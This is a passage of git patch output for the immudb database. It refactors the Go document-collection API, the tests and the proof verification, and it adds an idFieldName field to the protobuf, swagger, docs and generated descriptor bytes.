*testing.T) { } }) } +*/ diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index cd76f86ab3..f01bd2486f 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -20,20 +20,11 @@ import ( "fmt" "github.com/codenotary/immudb/embedded/document" - "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" ) -var ( - schemaToValueType = map[protomodel.IndexType]sql.SQLValueType{ - protomodel.IndexType_DOUBLE: sql.Float64Type, - protomodel.IndexType_STRING: sql.VarcharType, - protomodel.IndexType_INTEGER: sql.IntegerType, - } -) - // DocumentDatabase is the interface for document database type DocumentDatabase interface { // GetCollection returns the collection schema @@ -66,14 +57,12 @@ func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCre return nil, ErrIllegalArguments } - collection, err := d.documentEngine.CreateCollection(ctx, req.Collection) + err := d.documentEngine.CreateCollection(ctx, req.Collection) if err != nil { return nil, err } - return &protomodel.CollectionCreateResponse{ - Collection: collection, - }, nil + return &protomodel.CollectionCreateResponse{}, nil } func (d *db) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { @@ -82,17 +71,12 @@ func (d *db) ListCollections(ctx context.Context, req *protomodel.CollectionList return nil, err } - cinfos := make([]*protomodel.CollectionInformation, 0, len(collections)) - for collectionName, indexes := range collections { - cinfos = append(cinfos, newCollectionInformation(collectionName, indexes)) - } - - return &protomodel.CollectionListResponse{Collections: cinfos}, nil + return &protomodel.CollectionListResponse{Collections: collections}, nil } // GetCollection returns the collection schema func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { - cinfo, err := d.getCollection(ctx, req.Name) + cinfo, err := d.documentEngine.GetCollection(ctx, req.Name) if err != nil { return nil, err } @@ -100,25 +84,8 @@ func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetReq return &protomodel.CollectionGetResponse{Collection: cinfo}, nil } -func (d *db) getCollection(ctx context.Context, collectionName string) (*protomodel.CollectionInformation, error) { - indexes, err := d.documentEngine.GetCollection(ctx, collectionName) - if err != nil { - return nil, err - } - - return newCollectionInformation(collectionName, indexes), nil -} - // SearchDocuments returns the documents matching the search request constraints func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { - queries := make([]*document.Query, 0, len(req.Query)) - for _, q := range req.Query { - queries = append(queries, &document.Query{ - Operator: int(q.Operator), - Field: q.Field, - Value: q.Value, - }) - } if req.Page < 1 || req.PerPage < 1 { return nil, fmt.Errorf("invalid offset or limit") } @@ -128,71 +95,21 @@ func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearch return nil, fmt.Errorf("invalid offset") } - reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, queries, int64(offset)) + reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, int64(offset)) if err != nil { return nil, err } return reader, nil } -// helper function to create a collection information -func newCollectionInformation(collectionName string, indexes []*sql.Index) *protomodel.CollectionInformation { - cinfo := &protomodel.CollectionInformation{ - Name: collectionName, - IndexKeys: make(map[string]*protomodel.IndexOption), - } - - // iterate over indexes and extract primary and index keys - for _, idx := range indexes { - for _, col := range idx.Cols() { - var colType protomodel.IndexType - switch col.Type() { - case sql.VarcharType: - colType = protomodel.IndexType_STRING - case sql.IntegerType: - colType = protomodel.IndexType_INTEGER - case sql.BLOBType: - colType = protomodel.IndexType_STRING - } - - cinfo.IndexKeys[col.Name()] = &protomodel.IndexOption{ - Type: colType, - } - - } - } - - return cinfo -} - // UpdateCollection updates an existing collection func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { - indexKeys := make(map[string]*document.IndexOption) - - // validate index keys - for name, pk := range req.AddIndexes { - schType, isValid := schemaToValueType[pk.Type] - if !isValid { - return nil, fmt.Errorf("invalid index key type: %v", pk) - } - indexKeys[name] = &document.IndexOption{ - Type: schType, - IsUnique: pk.IsUnique, - } - } - - err := d.documentEngine.UpdateCollection(ctx, req.Name, indexKeys, req.RemoveIndexes) + err := d.documentEngine.UpdateCollection(ctx, req.Collection) if err != nil { return nil, err } - // get collection information - cinfo, err := d.getCollection(ctx, req.Name) - if err != nil { - return nil, err - } - - return &protomodel.CollectionUpdateResponse{Collection: cinfo}, nil + return &protomodel.CollectionUpdateResponse{}, nil } // DeleteCollection deletes a collection @@ -207,70 +124,70 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDel // InsertDocument creates a new document func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { - docID, txID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) + txID, docID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) if err != nil { return nil, err } return &protomodel.DocumentInsertResponse{ - DocumentId: docID.EncodeToHexString(), TransactionId: txID, + DocumentId: docID.EncodeToHexString(), }, nil } -func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { - // verify if document id is valid - docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) - if err != nil { - return nil, fmt.Errorf("invalid document id: %v", err) - } - - if req.Page < 1 || req.PerPage < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - historyLogs, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.Page), int(req.PerPage)) +// DocumentInsertMany inserts multiple documents +func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { + txID, docIDs, err := d.documentEngine.BulkInsertDocuments(ctx, req.Collection, req.Documents) if err != nil { - return nil, fmt.Errorf("error fetching document history: %v", err) - } - - resp := &protomodel.DocumentAuditResponse{ - Results: make([]*protomodel.DocumentAudit, 0, len(historyLogs)), + return nil, err } - for _, log := range historyLogs { - resp.Results = append(resp.Results, &protomodel.DocumentAudit{ - TransactionId: log.TxID, - Revision: log.Revision, - Document: log.Document, - }) + docIDsStr := make([]string, 0, len(docIDs)) + for _, docID := range docIDs { + docIDsStr = append(docIDsStr, docID.EncodeToHexString()) } - return resp, nil + return &protomodel.DocumentInsertManyResponse{ + TransactionId: txID, + DocumentIds: docIDsStr, + }, nil } // UpdateDocument updates a document func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { - queries := make([]*document.Query, 0, len(req.Query)) - for _, q := range req.Query { - queries = append(queries, &document.Query{ - Operator: int(q.Operator), - Field: q.Field, - Value: q.Value, - }) - } - - txID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, queries, req.Document) + txID, docID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, req.Query, req.Document) if err != nil { return nil, err } return &protomodel.DocumentUpdateResponse{ TransactionId: txID, + DocumentId: docID.EncodeToHexString(), Revision: rev, }, nil } +func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { + // verify if document id is valid + docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) + if err != nil { + return nil, fmt.Errorf("invalid document id: %v", err) + } + + if req.Page < 1 || req.PerPage < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + + revisions, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.Page), int(req.PerPage)) + if err != nil { + return nil, fmt.Errorf("error fetching document history: %v", err) + } + + return &protomodel.DocumentAuditResponse{ + Revisions: revisions, + }, nil +} + // DocumentProof returns the proofs for a documenta func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) @@ -328,21 +245,3 @@ func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofReq }, }, nil } - -// DocumentInsertMany inserts multiple documents -func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { - docIDs, txID, err := d.documentEngine.BulkInsertDocuments(ctx, req.Collection, req.Documents) - if err != nil { - return nil, err - } - - docIDsStr := make([]string, 0, len(docIDs)) - for _, docID := range docIDs { - docIDsStr = append(docIDsStr, docID.EncodeToHexString()) - } - - return &protomodel.DocumentInsertManyResponse{ - DocumentIds: docIDsStr, - TransactionId: txID, - }, nil -} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index f3c6377221..03f2751e18 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -27,10 +27,6 @@ import ( "google.golang.org/protobuf/types/known/structpb" ) -func newIndexOption(indexType protomodel.IndexType) *protomodel.IndexOption { - return &protomodel.IndexOption{Type: indexType} -} - func makeDocumentDb(t *testing.T) *db { rootPath := t.TempDir() @@ -58,27 +54,38 @@ func TestDocumentDB_Collection(t *testing.T) { // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &documents.CollectionCreateRequest{ - Name: collectionName, - IndexKeys: map[string]*documents.IndexOption{ - "pincode": newIndexOption(documents.IndexType_INTEGER), + _, err := db.CreateCollection(context.Background(), &protomodel.CollectionCreateRequest{ + Collection: &protomodel.Collection{ + Name: collectionName, + Fields: []*protomodel.Field{ + { + Name: "pincode", + Type: protomodel.FieldType_INTEGER, + }, + }, + Indexes: []*protomodel.Index{ + { + Fields: []string{"pincode"}, + }, + }, }, }) require.NoError(t, err) // get collection - cinfo, err := db.GetCollection(context.Background(), &documents.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &protomodel.CollectionGetRequest{ Name: collectionName, }) require.NoError(t, err) resp := cinfo.Collection - require.Equal(t, 2, len(resp.IndexKeys)) - require.Contains(t, resp.IndexKeys, "_id") - require.Contains(t, resp.IndexKeys, "pincode") - require.Equal(t, documents.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) + require.Equal(t, 2, len(resp.Fields)) + require.Equal(t, resp.Fields[0].Name, "_id") + require.Contains(t, resp.Fields[1].Name, "pincode") + require.Equal(t, protomodel.FieldType_STRING, resp.Fields[0].Type) + require.Equal(t, protomodel.FieldType_INTEGER, resp.Fields[1].Type) // add document to collection - docRes, err := db.InsertDocument(context.Background(), &documents.DocumentInsertRequest{ + docRes, err := db.InsertDocument(context.Background(), &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -92,17 +99,23 @@ func TestDocumentDB_Collection(t *testing.T) { require.NotNil(t, docRes) // query collection for document - reader, err := db.SearchDocuments(context.Background(), &documents.DocumentSearchRequest{ + reader, err := db.SearchDocuments(context.Background(), &protomodel.DocumentSearchRequest{ Collection: collectionName, Page: 1, PerPage: 10, - Query: []*documents.DocumentQuery{ - { - Field: "pincode", - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 123}, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, + }, + }, }, - Operator: documents.QueryOperator_EQ, }, }, }) @@ -116,7 +129,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) - proofRes, err := db.DocumentProof(context.Background(), &documents.DocumentProofRequest{ + proofRes, err := db.DocumentProof(context.Background(), &protomodel.DocumentProofRequest{ Collection: collectionName, DocumentId: docRes.DocumentId, }) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index cc474bdaf4..dbcd625371 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -43,9 +43,9 @@ func VerifyDocument(ctx context.Context, return nil, store.ErrIllegalArguments } - docID, ok := doc.Fields[document.DocumentIDField] + docID, ok := doc.Fields[document.DefaultDocumentIDField] //TODO: use collection info to determine docID field name if !ok { - return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, document.DocumentIDField) + return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, document.DefaultDocumentIDField) //TODO: use collection info to determine docID field name } encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue()) From 1f9f8ed66b8dfdc877eac6d1bcd8094e236326d5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 1 May 2023 10:04:24 -0300 Subject: [PATCH 0464/1062] chore(embedded/document): wip continue with improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 69 ++++--- pkg/api/openapi/apidocs.swagger.json | 3 + pkg/api/proto/documents.proto | 5 +- pkg/api/protomodel/docs.md | 1 + pkg/api/protomodel/documents.pb.go | 265 +++++++++++++------------ pkg/database/document_database.go | 3 +- pkg/database/document_database_test.go | 2 + pkg/verification/verification.go | 4 +- 8 files changed, 196 insertions(+), 156 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e7b68bd53d..fa3b54c440 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -490,9 +490,11 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti colNames[i] = col.Name() } + docIDs = make([]DocumentID, len(docs)) + rows := make([]*sql.RowSpec, len(docs)) - for _, doc := range docs { + for i, doc := range docs { if doc == nil { return 0, nil, fmt.Errorf("%w: nil document", ErrIllegalArguments) } @@ -526,8 +528,8 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti return 0, nil, err } - docIDs = append(docIDs, docID) - rows = append(rows, rowSpec) + docIDs[i] = docID + rows[i] = rowSpec } // add documents to collection @@ -555,9 +557,21 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti } func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Struct) (*sql.RowSpec, error) { + idFieldName := docIDFieldName(table) + values := make([]sql.ValueExp, len(table.Cols())) for i, col := range table.Cols() { + if col.Name() == idFieldName { + docID, err := NewDocumentIDFromHexEncodedString(doc.Fields[col.Name()].GetStringValue()) + if err != nil { + return nil, err + } + + values[i] = sql.NewBlob(docID[:]) + continue + } + if col.Name() == DocumentBLOBField { bs, err := json.Marshal(doc) if err != nil { @@ -565,16 +579,17 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru } values[i] = sql.NewBlob(bs) - } else { - if rval, ok := doc.Fields[col.Name()]; ok { - val, err := structValueToSqlValue(col.Type(), rval) - if err != nil { - return nil, err - } - values[i] = val - } else { - values[i] = &sql.NullValue{} + continue + } + + if rval, ok := doc.Fields[col.Name()]; ok { + val, err := structValueToSqlValue(col.Type(), rval) + if err != nil { + return nil, err } + values[i] = val + } else { + values[i] = &sql.NullValue{} } } @@ -686,7 +701,6 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query if err != nil { return nil, mayTranslateError(err) } - defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, collectionName) if err != nil { @@ -709,35 +723,36 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query // returning an open reader here, so the caller HAS to close it r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil) if err != nil { + defer sqlTx.Cancel() return nil, err } - return newDocumentReader(r), nil + return newDocumentReader(sqlTx, r), nil } -func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAtRevision *EncodedDocumentAtRevision, err error) { +func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, idFieldName string, docAtRevision *EncodedDocumentAtRevision, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return 0, nil, mayTranslateError(err) + return 0, "", nil, mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, collectionName) if err != nil { - return 0, nil, err + return 0, "", nil, err } searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) if err != nil { - return 0, nil, err + return 0, "", nil, err } docAtRevision, err = e.getEncodedDocumentAtRevision(searchKey, txID, false) if err != nil { - return 0, nil, err + return 0, "", nil, err } - return table.ID(), docAtRevision, nil + return table.ID(), docIDFieldName(table), docAtRevision, nil } // DocumentAudit returns the audit history of a document. @@ -958,14 +973,18 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } -func newDocumentReader(reader sql.RowReader) DocumentReader { - return &documentReader{reader: reader} -} - type documentReader struct { + sqlTx *sql.SQLTx reader sql.RowReader } +func newDocumentReader(sqlTx *sql.SQLTx, reader sql.RowReader) DocumentReader { + return &documentReader{ + sqlTx: sqlTx, + reader: reader, + } +} + // ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. func (d *documentReader) Read(ctx context.Context, count int) ([]*structpb.Struct, error) { if count < 1 { @@ -1001,5 +1020,7 @@ func (d *documentReader) Read(ctx context.Context, count int) ([]*structpb.Struc } func (d *documentReader) Close() error { + defer d.sqlTx.Cancel() + return d.reader.Close() } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index e899f54656..4f557d60e4 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -725,6 +725,9 @@ "type": "integer", "format": "int64" }, + "idFieldName": { + "type": "string" + }, "encodedDocument": { "type": "string", "format": "byte" diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 1b5f624c2e..b37f1998a7 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -203,8 +203,9 @@ message DocumentProofRequest { message DocumentProofResponse { string database = 1; uint32 collectionId = 2; - bytes encodedDocument = 3; - schema.VerifiableTxV2 verifiableTx = 4; + string idFieldName = 3; + bytes encodedDocument = 4; + schema.VerifiableTxV2 verifiableTx = 5; } service DocumentService { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 2c914d537f..223309cc64 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -454,6 +454,7 @@ | ----- | ---- | ----- | ----------- | | database | [string](#string) | | | | collectionId | [uint32](#uint32) | | | +| idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | | verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index c05fa26a83..c3ec50c9d0 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1682,8 +1682,9 @@ type DocumentProofResponse struct { Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` - EncodedDocument []byte `protobuf:"bytes,3,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` - VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,4,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` + IdFieldName string `protobuf:"bytes,3,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` + EncodedDocument []byte `protobuf:"bytes,4,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` + VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,5,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } func (x *DocumentProofResponse) Reset() { @@ -1732,6 +1733,13 @@ func (x *DocumentProofResponse) GetCollectionId() uint32 { return 0 } +func (x *DocumentProofResponse) GetIdFieldName() string { + if x != nil { + return x.IdFieldName + } + return "" +} + func (x *DocumentProofResponse) GetEncodedDocument() []byte { if x != nil { return x.EncodedDocument @@ -1929,140 +1937,143 @@ var file_documents_proto_rawDesc = []byte{ 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, - 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, - 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, - 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, - 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, - 0x12, 0x08, 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, - 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, - 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, - 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xad, 0x0c, 0x0a, 0x0f, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, - 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, + 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, + 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, + 0x10, 0x03, 0x12, 0x08, 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, + 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, + 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, + 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, + 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xad, 0x0c, 0x0a, + 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 